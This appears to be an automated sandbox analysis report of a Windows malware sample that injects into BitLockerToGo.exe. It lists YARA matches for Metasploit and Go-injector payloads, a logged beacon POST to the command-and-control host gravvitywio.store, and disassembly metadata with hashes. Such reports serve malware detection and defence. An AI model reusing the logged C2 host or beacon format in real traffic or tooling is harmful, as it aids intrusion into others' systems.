2024-10-02 12:55:31 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: gravvitywio.store
2024-10-02 12:55:31 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 12:55:32 UTC	772	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 12:55:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=35hfla59mok3pdr1n92oaupp8n; expires=Sun, 26 Jan 2025 06:42:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kBnVjYvP3mvFDnIHNDjfq1W46s5kghtuPjYbh9fz01n6cie%2BnrJHCdzzEQJ5SPiHnZ9UZGlBiatN5WWmBVfkgnQu%2F5Wdcwnyot9MEvu4P2NGz1lDF5OL1NhQiUL1U0VPmXF3lw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc4d8e83fd28c60-EWR
2024-10-02 12:55:32 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 12:55:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	08:54:44
Start date:	02/10/2024
Path:	C:\Users\user\Desktop\BW4pTs1x3V.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\BW4pTs1x3V.exe"
Imagebase:	0x7ff67ce60000
File size:	13'565'176 bytes
MD5 hash:	3677EBC159E92251F19020E9AB4B62AD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000000.00000002.1885915924.000000C000506000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_GoInjector_2, Description: Yara detected Go Injector, Source: 00000000.00000002.1887668238.00007FF67D7C0000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_GoInjector_2, Description: Yara detected Go Injector, Source: 00000000.00000000.1452154530.00007FF67D7C0000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:55:26
Start date:	02/10/2024
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Imagebase:	0xc90000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	41.3%
Total number of Nodes:	63
Total number of Limit Nodes:	9

Executed Functions

Function 02CDFFE0 Relevance: 21.6, Strings: 17, Instructions: 378
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

?Q'S, xrefs: 02CE01F6
DM, xrefs: 02CE0030
6Y)[, xrefs: 02CE020C
M#N], xrefs: 02CE03E7
TW, xrefs: 02CE04D4
G1\3, xrefs: 02CE00EE
T'W!, xrefs: 02CE0413, 02CE041B
Y-]/, xrefs: 02CE00E3
0A"C, xrefs: 02CE01CA
'U!W, xrefs: 02CE0201
IK, xrefs: 02CE01E0
\_, xrefs: 02CE03EF
w=v?, xrefs: 02CE010F
X9R;, xrefs: 02CE0104
G5@7, xrefs: 02CE00F9
*]^_, xrefs: 02CE0217
SU, xrefs: 02CE0038

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 'U!W$*]^_$0A"C$6Y)[$?Q'S$DM$G1\3$G5@7$M#N]$SU$T'W!$TW$X9R;$Y-]/$\_$w=v?$IK
API String ID: 0-1031535001
Opcode ID: 739ba02ca6fbb15f1de5592ee61e238cfa73bd0585d7b84c3a26309e22eeb9d0
Instruction ID: d75a51552504485b9a4ccb28dcb79d409079e5b3c927a21ada27449f9ffe4391
Opcode Fuzzy Hash: 739ba02ca6fbb15f1de5592ee61e238cfa73bd0585d7b84c3a26309e22eeb9d0
Instruction Fuzzy Hash: B2F170B050C380ABD7609F21E880B6FBBE5FF86744F509C1CE98A9B241DB748855CF96

Function 02CDCF00 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 160
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetInputState.USER32 ref: 02CDCF11
GetCurrentThreadId.KERNEL32 ref: 02CDCF26
GetCurrentProcessId.KERNEL32 ref: 02CDCF2C
ExitProcess.KERNEL32 ref: 02CDD0F0

Strings

G'&!, xrefs: 02CDD013, 02CDD01B

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID: CurrentProcess$ExitInputStateThread
String ID: G'&!
API String ID: 1029096631-2503113863
Opcode ID: a18b6dd8ee09b44e6278d5313e9cca66c68506b5489c2062df2fc61e7cd55d4e
Instruction ID: 47fa65b03a58f81c93531bb0e255f8046d1a0261d438e341b7af815d1f238904
Opcode Fuzzy Hash: a18b6dd8ee09b44e6278d5313e9cca66c68506b5489c2062df2fc61e7cd55d4e
Instruction Fuzzy Hash: A841257180C280ABD301BF68D584A1EFBE6EF96705F548D0CE6C587262C336D821DBA7

Function 02CDF950 Relevance: 5.4, Strings: 4, Instructions: 423
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,c'}, xrefs: 02CDFACD
{7@1, xrefs: 02CDFA4E
6{6u, xrefs: 02CDFAE1
@3R, xrefs: 02CDFA55

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ,c'}$6{6u$@3R${7@1
API String ID: 0-581628498
Opcode ID: 4d1847d5fb10d30c15587fc5077681038c322498ab6aa18164c2b54b1fcaac3a
Instruction ID: 418f93d84e5a37305fb6efed1249bce58ee28e8686d415298a94eef9d3d883a2
Opcode Fuzzy Hash: 4d1847d5fb10d30c15587fc5077681038c322498ab6aa18164c2b54b1fcaac3a
Instruction Fuzzy Hash: A1021DB1600B009FD3308F26D894B56BBF5FB4A315F008E5CE9AA8BB90D775A815CF90

Function 02D15EB1 Relevance: 2.8, Strings: 2, Instructions: 282
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4`[b, xrefs: 02D162C0
%sgh, xrefs: 02D16010

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: %sgh$4`[b
API String ID: 0-1596593044
Opcode ID: fc31db515b390fc83225504a4e15333edbdac4d4488b0952fadf307a30e0fdfb
Instruction ID: 72655a907470c2dd79e4ace881de4e75d8ae0a399a51658e8f0af2d16b2e62c5
Opcode Fuzzy Hash: fc31db515b390fc83225504a4e15333edbdac4d4488b0952fadf307a30e0fdfb
Instruction Fuzzy Hash: 1A919C74A0C341ABE315DF18E490A2AFBE5EB9A345F648C1CE4C5877A1D335DC64CBA2

Function 02D15AD0 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(02D193AD,005C003F,00000006,?,?,00000018,00070605,?,?), ref: 02D15AFE

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction ID: fb6f357373f259be8b0e83fffc5d2a3912a28e0da7d2036ce94b71e982b3a7e9
Opcode Fuzzy Hash: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction Fuzzy Hash: 76E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Function 02CDEA30 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 572
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(9F779963,00000000,93929990), ref: 02CDEB47

Strings

>, xrefs: 02CDF011

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID: LibraryLoad
String ID: >
API String ID: 1029625771-325317158
Opcode ID: fa19999e2dfe8ed87f8c1744472e6684bad235fb0052fd1cbed204776e9d3cbd
Instruction ID: b816e9f9635f35d769440150005af58c2158dae58bedf08ba2aea6eaa455731c
Opcode Fuzzy Hash: fa19999e2dfe8ed87f8c1744472e6684bad235fb0052fd1cbed204776e9d3cbd
Instruction Fuzzy Hash: 4312AEB5908381DBE320DF24E950B6FBBE1EB95304F090C2CE5899B742D3358919CBA3

Function 02D15520 Relevance: 1.6, APIs: 1, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?), ref: 02D155A4

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: fe0edea62908a110ffbc02a74e3a9573de2bb16a84bbc8ce7dc98f17e14ec106
Instruction ID: 88d901b891f289fe11f6e42ffbce1f5471347e4b9b506867cc32a3539836bb49
Opcode Fuzzy Hash: fe0edea62908a110ffbc02a74e3a9573de2bb16a84bbc8ce7dc98f17e14ec106
Instruction Fuzzy Hash: 7B118F7190C250ABD3116F18F808A1FBBF5EF96700F454868E8C487751D33ADC29CBA2

Function 02D126B0 Relevance: 1.5, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 02D12723

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 2bf6c4b9cc20354fd06ef954e7e0f17fc2aad3b24c23af17b1c48f52166fe663
Instruction ID: cd0ca6f9841ac1b226fe0268b5062a821abb0471552f3e60ecb537b4d70f01d8
Opcode Fuzzy Hash: 2bf6c4b9cc20354fd06ef954e7e0f17fc2aad3b24c23af17b1c48f52166fe663
Instruction Fuzzy Hash: ADF03C3050C290ABD311AF18E855B0EBBE5EF56700F468C6CE8C49B351C236DC64DBA3

Function 02D12630 Relevance: 1.5, APIs: 1, Instructions: 36
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 02D12693

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: edea807f50439cf5337afcd8dfe0e0423d8a8e0a07215f96e39dd2d95f18f18f
Instruction ID: ebfb86b0fca8f3806296ffbd3cc6be9f2da3a0e17f064d4b41a30f610e239305
Opcode Fuzzy Hash: edea807f50439cf5337afcd8dfe0e0423d8a8e0a07215f96e39dd2d95f18f18f
Instruction Fuzzy Hash: 29F0377450C280ABC311EF18E558A1EBBF5EFAA700F15881CE4C48B7A1C3369C24CBA3

Non-executed Functions

Function 02CF88F0 Relevance: 33.7, Strings: 26, Instructions: 1208COMMON

Download Yara Rule

Strings

P?r=, xrefs: 02CF9159
7w9u, xrefs: 02CF94C7
%S'Q, xrefs: 02CF9496
/-, xrefs: 02CF8A10
3{7y, xrefs: 02CF94C0
;9, xrefs: 02CF8A2E
4`[b, xrefs: 02CF9BD0
?G2E, xrefs: 02CF9473
4o)m, xrefs: 02CF949D
D', xrefs: 02CF8F7C
A3V1, xrefs: 02CF945E
75, xrefs: 02CF8A24
31, xrefs: 02CF8A1A
,W'U, xrefs: 02CF948F
6I5K, xrefs: 02CF936B
H+e), xrefs: 02CF9434
>c8a, xrefs: 02CF94B2
#g;e, xrefs: 02CF94AB
!k#i, xrefs: 02CF94A4
m/U-, xrefs: 02CF942D
M0O, xrefs: 02CF9361
?=, xrefs: 02CF8A38
=K0I, xrefs: 02CF946C
4E:G, xrefs: 02CF934D
4`[b, xrefs: 02CF9640
I7G5, xrefs: 02CF9457

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: M0O$!k#i$#g;e$%S'Q$,W'U$3{7y$4E:G$4`[b$4`[b$4o)m$6I5K$7w9u$=K0I$>c8a$?G2E$A3V1$D'$H+e)$I7G5$P?r=$m/U-$/-$31$75$;9$?=
API String ID: 0-3207955556
Opcode ID: a2b580ac08e082416257b9bea279cc2cda1769e0652e64f88f61014a0870978f
Instruction ID: b2111d4abe1b7f9e41ec539ab130723051b6d737957bf3c988fe437b79ca2a5c
Opcode Fuzzy Hash: a2b580ac08e082416257b9bea279cc2cda1769e0652e64f88f61014a0870978f
Instruction Fuzzy Hash: 92B2A5B4A0071AEFDB54CFA9D8807AAFBB1FF05304F508658E558AB740D731A965CF90

Function 02CF8BE0 Relevance: 27.3, Strings: 21, Instructions: 1028COMMON

Download Yara Rule

Strings

P?r=, xrefs: 02CF9159
6I5K, xrefs: 02CF936B
H+e), xrefs: 02CF9434
7w9u, xrefs: 02CF94C7
%S'Q, xrefs: 02CF9496
3{7y, xrefs: 02CF94C0
>c8a, xrefs: 02CF94B2
4`[b, xrefs: 02CF9BD0
#g;e, xrefs: 02CF94AB
!k#i, xrefs: 02CF94A4
m/U-, xrefs: 02CF942D
M0O, xrefs: 02CF9361
?G2E, xrefs: 02CF9473
4o)m, xrefs: 02CF949D
=K0I, xrefs: 02CF946C
D', xrefs: 02CF8F7C
4E:G, xrefs: 02CF934D
4`[b, xrefs: 02CF9640
A3V1, xrefs: 02CF945E
I7G5, xrefs: 02CF9457
,W'U, xrefs: 02CF948F

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: M0O$!k#i$#g;e$%S'Q$,W'U$3{7y$4E:G$4`[b$4`[b$4o)m$6I5K$7w9u$=K0I$>c8a$?G2E$A3V1$D'$H+e)$I7G5$P?r=$m/U-
API String ID: 0-2826869237
Opcode ID: d1da7c909d7e0d61e55597d6855325565cef32c52e89dcd7e6d31700a2491e9c
Instruction ID: 415b0671553f25fcf3636b72e93ccf9f3e89dfe5219915582bc6ee7dcadda9a9
Opcode Fuzzy Hash: d1da7c909d7e0d61e55597d6855325565cef32c52e89dcd7e6d31700a2491e9c
Instruction Fuzzy Hash: B0A2B6B4A00B1AEFDB54CFA5C8807AAFBB1FF45304F508648D569ABB50D731A961CF90

Function 02CF7FA0 Relevance: 26.7, APIs: 1, Strings: 14, Instructions: 458COMMON

Download Yara Rule

Strings

[/Q), xrefs: 02CF844A
E;YE, xrefs: 02CF8472
LO, xrefs: 02CF848A
Ok&i, xrefs: 02CF80D4, 02CF80DD
^+A5, xrefs: 02CF8452
M?H9, xrefs: 02CF846A
Y'K!, xrefs: 02CF843A
=ChM, xrefs: 02CF8482
8;, xrefs: 02CF85D3
L3Y=, xrefs: 02CF8462
Y7U1, xrefs: 02CF845A
Q#U-, xrefs: 02CF8442
a, xrefs: 02CF814D
4G6A, xrefs: 02CF847A

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 4G6A$8;$=ChM$E;YE$L3Y=$LO$M?H9$Ok&i$Q#U-$Y'K!$Y7U1$[/Q)$^+A5$a
API String ID: 0-2780120701
Opcode ID: 7c5d1c021a8f0d3cc66f166a26cbe78d40b550030bed94b24922b64b220626e7
Instruction ID: 8f92582c21b124b423bd2fa3a9a2fb8c27bf7b0123b0c42468d5c6ac7a98ef1a
Opcode Fuzzy Hash: 7c5d1c021a8f0d3cc66f166a26cbe78d40b550030bed94b24922b64b220626e7
Instruction Fuzzy Hash: 9B0251B4508340ABD390DF55E980A1FBBF5EB96B48F404A0CF6C99B251D335DA09CBA7

Function 02CEEDAD Relevance: 22.4, Strings: 17, Instructions: 1127COMMON

Download Yara Rule

Strings

`, xrefs: 02CEF848
HINO, xrefs: 02CEF806
L, xrefs: 02CEF659
Uz:, xrefs: 02CEF761
XY^_, xrefs: 02CEF7DA
hkje, xrefs: 02CEF51A
YZ[D, xrefs: 02CEF588
TWVQ, xrefs: 02CEF4F9
twvq, xrefs: 02CEF551
\_^Y, xrefs: 02CEF697, 02CEF6A6
loni, xrefs: 02CEF50F
efg`, xrefs: 02CEF5EB
`cb}, xrefs: 02CEF530
X[ZU, xrefs: 02CEF4EE
mz, xrefs: 02CEF6FE
x{zu, xrefs: 02CEF546
tuz{, xrefs: 02CEF827

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: HINO$L$TWVQ$XY^_$X[ZU$YZ[D$\_^Y$`$`cb}$efg`$hkje$loni$mz$tuz{$twvq$x{zu$Uz:
API String ID: 0-517180400
Opcode ID: b1903a3721a5eb2b0d2e932ddf9028b5b96326746dda2b61e6024911a6f113be
Instruction ID: 1debff6de81554b874fea4698f0d72d6d845d492d442330e15fd39af9972f1c2
Opcode Fuzzy Hash: b1903a3721a5eb2b0d2e932ddf9028b5b96326746dda2b61e6024911a6f113be
Instruction Fuzzy Hash: 5FA256B55083819BEB74CF14C880BAFB7E2EFC5704F14481CE9CA9B690DB75A945CB92

Function 02D0E449 Relevance: 18.1, APIs: 9, Strings: 1, Instructions: 587memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 02D0E4AC
SysAllocString.OLEAUT32 ref: 02D0E56C
VariantInit.OLEAUT32(00000000), ref: 02D0E5FC
SysStringLen.OLEAUT32(?), ref: 02D0E6BB

Strings

4`[b, xrefs: 02D0EBB0

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID: String$Alloc$InitVariant
String ID: 4`[b
API String ID: 3520221836-3962175265
Opcode ID: ac22aff69287e411776988688839ae90e7f2b2ffedc7ae3649575f9741b2bcb5
Instruction ID: c80ccb3fa6f0e00c51aaec014fe0b904c1d7441352eca36ef369c33812571892
Opcode Fuzzy Hash: ac22aff69287e411776988688839ae90e7f2b2ffedc7ae3649575f9741b2bcb5
Instruction Fuzzy Hash: 6422C775A083419FE324DF24D888B6ABBE2FF89305F148D2CE589873A1D735D855CB52

Function 02CECFA0 Relevance: 14.9, Strings: 11, Instructions: 1109COMMON

Download Yara Rule

Strings

4`[b, xrefs: 02CED410
2821, xrefs: 02CED743
P?b1, xrefs: 02CED4D7, 02CED4E6
4C%E, xrefs: 02CED496
?(, xrefs: 02CED76F
p, xrefs: 02CEE2E4
4`[b, xrefs: 02CED700
DG, xrefs: 02CED4A1
ng{b, xrefs: 02CED96E
u, xrefs: 02CEE2D9
,, xrefs: 02CED99A

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ,$2821$4C%E$4`[b$4`[b$?($DG$P?b1$ng{b$p$u
API String ID: 0-2468594515
Opcode ID: dce1df62a96de539ede6107c9299e018ec8190d1799c3f09c7af84f8896ddfc1
Instruction ID: 07e84dbd53402eba4b7b6db0d7f4d5fe96fa35d6d6495bec6cf05b94701d7958
Opcode Fuzzy Hash: dce1df62a96de539ede6107c9299e018ec8190d1799c3f09c7af84f8896ddfc1
Instruction Fuzzy Hash: 839277B55093809FE7708F14D881BEBBBE6EFC9304F04492CE5CA8B251DB759991CB92

Function 02D02994 Relevance: 14.6, APIs: 1, Strings: 7, Instructions: 632COMMON

Download Yara Rule

Strings

jXJ-, xrefs: 02D02E02
H9S;, xrefs: 02D02C1E
B=_?, xrefs: 02D02C14
vA.C, xrefs: 02D02C32
Wu, xrefs: 02D02DC4
wEtG, xrefs: 02D02C28
8M:O, xrefs: 02D02C3C

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 8M:O$B=_?$H9S;$jXJ-$vA.C$wEtG$Wu
API String ID: 0-3312069854
Opcode ID: 48ad17ebe0d0b4c20741b6ef4244631fe802fba0ebfcf2f7b8d544066fd8cb31
Instruction ID: 0e2b135aa76dcf565992848dfcc862618684d3daa169f130e769c2b6c044ee57
Opcode Fuzzy Hash: 48ad17ebe0d0b4c20741b6ef4244631fe802fba0ebfcf2f7b8d544066fd8cb31
Instruction Fuzzy Hash: 43426A70405B809AD732CF35C494BE3BBE1AF17309F44489DD4EA8B3A2DB39A945DB61

Function 02D039C0 Relevance: 14.6, APIs: 1, Strings: 7, Instructions: 558COMMON

Download Yara Rule

Strings

jXJ-, xrefs: 02D02E02
H9S;, xrefs: 02D02C1E
B=_?, xrefs: 02D02C14
vA.C, xrefs: 02D02C32
Wu, xrefs: 02D02DC4
wEtG, xrefs: 02D02C28
8M:O, xrefs: 02D02C3C

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 8M:O$B=_?$H9S;$jXJ-$vA.C$wEtG$Wu
API String ID: 0-3312069854
Opcode ID: acf84f3abbb1a223aaa97cc516548b4a41299cc3aaf8448e48b432764392612a
Instruction ID: 6304e007cc1515eb3aa0a388be7c1d4bd0acb61f64ff0b5b577153c127897419
Opcode Fuzzy Hash: acf84f3abbb1a223aaa97cc516548b4a41299cc3aaf8448e48b432764392612a
Instruction Fuzzy Hash: 69227A70405B809AD732CF35C498BE3BBE1AF17309F44488CD4EA8B3A2DB39A545DB65

Function 02CD1000 Relevance: 13.1, Strings: 9, Instructions: 1817COMMON

Download Yara Rule

Strings

0123456789abcdefxp, xrefs: 02CD13A7, 02CD144B
gfff, xrefs: 02CD21D7
gfff, xrefs: 02CD21F2
0123456789ABCDEFXP, xrefs: 02CD139D, 02CD143E
@, xrefs: 02CD2DFB
gfff, xrefs: 02CD224B
0, xrefs: 02CD1B51
gfff, xrefs: 02CD2294
-, xrefs: 02CD2192

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: -$0$0123456789ABCDEFXP$0123456789abcdefxp$@$gfff$gfff$gfff$gfff
API String ID: 0-1114095000
Opcode ID: 660d8ac1643a69f5efb93db7fc4f09fbca3e3b063dec5d11f79ec1d792dab456
Instruction ID: 9d67154f791efd73f736b30b391a7945001b43ab2f869815accdc4a89811afc5
Opcode Fuzzy Hash: 660d8ac1643a69f5efb93db7fc4f09fbca3e3b063dec5d11f79ec1d792dab456
Instruction Fuzzy Hash: 3DD23D716083918FD718CE29C89036ABBE2AFC5314F08866DE999DB382D775DD05CB93

Function 02CDD860 Relevance: 11.5, Strings: 9, Instructions: 285COMMON

Download Yara Rule

Strings

zs, xrefs: 02CDD8C6
K_I\, xrefs: 02CDD9B3
?8$#, xrefs: 02CDDB56
*#1/, xrefs: 02CDD99B
8';8, xrefs: 02CDDB4E
VPNj, xrefs: 02CDD9E3
XTJR, xrefs: 02CDD9CB
YWW\, xrefs: 02CDD9AB
kwm{, xrefs: 02CDD9F3

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: *#1/$8';8$?8$#$K_I\$VPNj$XTJR$YWW\$kwm{$zs
API String ID: 0-1544250960
Opcode ID: caa4b1170c7747c33aa2ea78e9f8896740522c7b286e161fac7a5f90c4e60116
Instruction ID: 2ce2dacc11752a4f8af9b2ca617a69f13184b35a113524532bb2149114ca7a0b
Opcode Fuzzy Hash: caa4b1170c7747c33aa2ea78e9f8896740522c7b286e161fac7a5f90c4e60116
Instruction Fuzzy Hash: E6A162B150C3909BD3228F19C490A2BFFE1AF96744F14895CE5DA8B3A2C335D906CB97

Function 02CFB9F0 Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 449COMMON

Download Yara Rule

Strings

7Wu, xrefs: 02CFC6EE
YW, xrefs: 02CFC55E
4`[b, xrefs: 02CFC420
LT, xrefs: 02CFC214
TU, xrefs: 02CFC566

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 4`[b$LT$TU$7Wu$YW
API String ID: 0-2131283552
Opcode ID: 8e818ca0d223ae447f2deb6b3f9836376c2f2508e8ffab67bc586ed1fabb8eab
Instruction ID: 41dcff501d060be0fa26fe21e11fb197e45a9d341551556065711dd1a7c404f7
Opcode Fuzzy Hash: 8e818ca0d223ae447f2deb6b3f9836376c2f2508e8ffab67bc586ed1fabb8eab
Instruction Fuzzy Hash: 4CD1BAB4648344DBD350EF14E880A2EBBF5EBA9385F100D2DE6C48B391D335CA55CB92

Function 02D01A32 Relevance: 9.8, APIs: 1, Strings: 4, Instructions: 1013COMMON

Download Yara Rule

Strings

Xl&X, xrefs: 02D02464
6T^t, xrefs: 02D02510
|eqz, xrefs: 02D0238F
|n =, xrefs: 02D02399

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 6T^t$Xl&X$|eqz$|n =
API String ID: 0-3902992610
Opcode ID: 265efcb6554ea9aa54b61563c7b21381bea66c16f9e1d22c70d8597c62cfefad
Instruction ID: fad5a80348aeca6c18c38fc7429385539a673901c37492c4339f2b384e944d70
Opcode Fuzzy Hash: 265efcb6554ea9aa54b61563c7b21381bea66c16f9e1d22c70d8597c62cfefad
Instruction Fuzzy Hash: 5D72CD70504B808BD7258F39C4A87A7BBE1AF16308F588C6DD4DB877A2DB35E945CB60

